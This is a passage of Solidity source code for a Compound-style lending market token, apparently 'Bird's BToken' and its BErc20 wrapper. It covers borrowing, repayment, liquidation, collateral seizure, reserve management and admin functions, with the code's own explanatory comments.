return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The bToken must handle variations between ERC-20 and ETH underlying.
* On success, the bToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(redeemer, vars.redeemAmount);
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit RedeemToken(redeemer, vars.redeemAmount, vars.redeemTokens);
/* We call the defense hook */
bController.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
/* Fail if borrow not allowed */
uint allowed = bController.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.BCONTROLLER_REJECTION, FailureInfo.BORROW_BCONTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The bToken must handle variations between ERC-20 and ETH underlying.
* On success, the bToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a Borrow event */
emit BorrowToken(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
bController.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
/* Fail if repayBorrow not allowed */
uint allowed = bController.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.BCONTROLLER_REJECTION, FailureInfo.REPAY_BORROW_BCONTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0);
}
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The bToken must handle variations between ERC-20 and ETH underlying.
* On success, the bToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED");
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED");
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrowToken event */
emit RepayBorrowToken(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
bController.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this bToken to be liquidated
* @param bTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = bTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, bTokenCollateral);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this bToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param bTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, BTokenInterface bTokenCollateral) internal returns (uint, uint) {
/* Fail if liquidate not allowed */
uint allowed = bController.liquidateBorrowAllowed(address(this), address(bTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.BCONTROLLER_REJECTION, FailureInfo.LIQUIDATE_BCONTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify bTokenCollateral market's block number equals current block number */
if (bTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint(-1)) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint amountSeizeError, uint seizeTokens) = bController.liquidateCalculateSeizeTokens(address(this), address(bTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_BCONTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(bTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint seizeError;
if (address(bTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = bTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrowToken event */
emit LiquidateBorrowToken(liquidator, borrower, actualRepayAmount, address(bTokenCollateral), seizeTokens);
/* We call the defense hook */
bController.liquidateBorrowVerify(address(this), address(bTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another bToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed bToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of bTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another BToken.
* Its absolutely critical to use msg.sender as the seizer bToken and not a parameter.
* @param seizerToken The contract seizing the collateral (i.e. borrowed bToken)
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of bTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
/* Fail if seize not allowed */
uint allowed = bController.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.BCONTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_BCONTROLLER_REJECTION, allowed);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
/*
* We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
* borrowerTokensNew = accountTokens[borrower] - seizeTokens
* liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
*/
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
/* Emit a Transfer event */
emit Transfer(borrower, liquidator, seizeTokens);
/* We call the defense hook */
bController.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets a new bController for the market
* @dev Admin function to set a new bController
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setBController(BControllerInterface newBController) public returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_BCONTROLLER_OWNER_CHECK);
}
BControllerInterface oldBController = bController;
// Ensure invoke bController.isBController() returns true
require(newBController.isBController(), "marker method returned false");
// Set market's bController to newBController
bController = newBController;
// Emit NewBController(oldBController, newBController)
emit NewBController(oldBController, newBController);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewTokenReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
// totalReserves + actualAddAmount
uint totalReservesNew;
uint actualAddAmount;
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The bToken must handle variations between ERC-20 and ETH underlying.
* On success, the bToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount);
totalReservesNew = totalReserves + actualAddAmount;
/* Revert on overflow */
require(totalReservesNew >= totalReserves, "add reserves unexpected overflow");
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
// totalReserves - reduceAmount
uint totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = totalReserves - reduceAmount;
// We checked reduceAmount <= totalReserves above, so this should never revert.
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketTokenInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketTokenInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view returns (uint);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(address from, uint amount) internal returns (uint);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(address payable to, uint amount) internal;
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
/**
* @title Bird's BErc20 Contract
* @notice BTokens which wrap an EIP-20 underlying
*/
contract BErc20 is BToken, BErc20Interface {
/**
* @notice Initialize the new money market
* @param underlying_ The address of the underlying asset
* @param bController_ The address of the BController
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(address underlying_,
BControllerInterface bController_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
// BToken initialize does the bulk of the work
super.initialize(bController_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_);
// Set underlying and sanity check it
underlying = underlying_;
EIP20Interface(underlying).totalSupply();
}
/*** User Interface ***/
/**
* @notice Sender supplies assets into the market and receives bTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(uint mintAmount) external returns (uint) {
(uint err,) = mintInternal(mintAmount);
return err;
}
/**
* @notice Sender redeems bTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of bTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeem(uint redeemTokens) external returns (uint) {
return redeemInternal(redeemTokens);
}
/**
* @notice Sender redeems bTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to redeem
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlying(uint redeemAmount) external returns (uint) {
return redeemUnderlyingInternal(redeemAmount);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(uint borrowAmount) external returns (uint) {
return borrowInternal(borrowAmount);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(uint repayAmount) external returns (uint) {
(uint err,) = repayBorrowInternal(repayAmount);
return err;
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) {
(uint err,) = repayBorrowBehalfInternal(borrower, repayAmount);
return err;
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this bToken to be liquidated
* @param repayAmount The amount of the underlying borrowed asset to repay
* @param bTokenCollateral The market in which to seize collateral from the borrower
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint) {
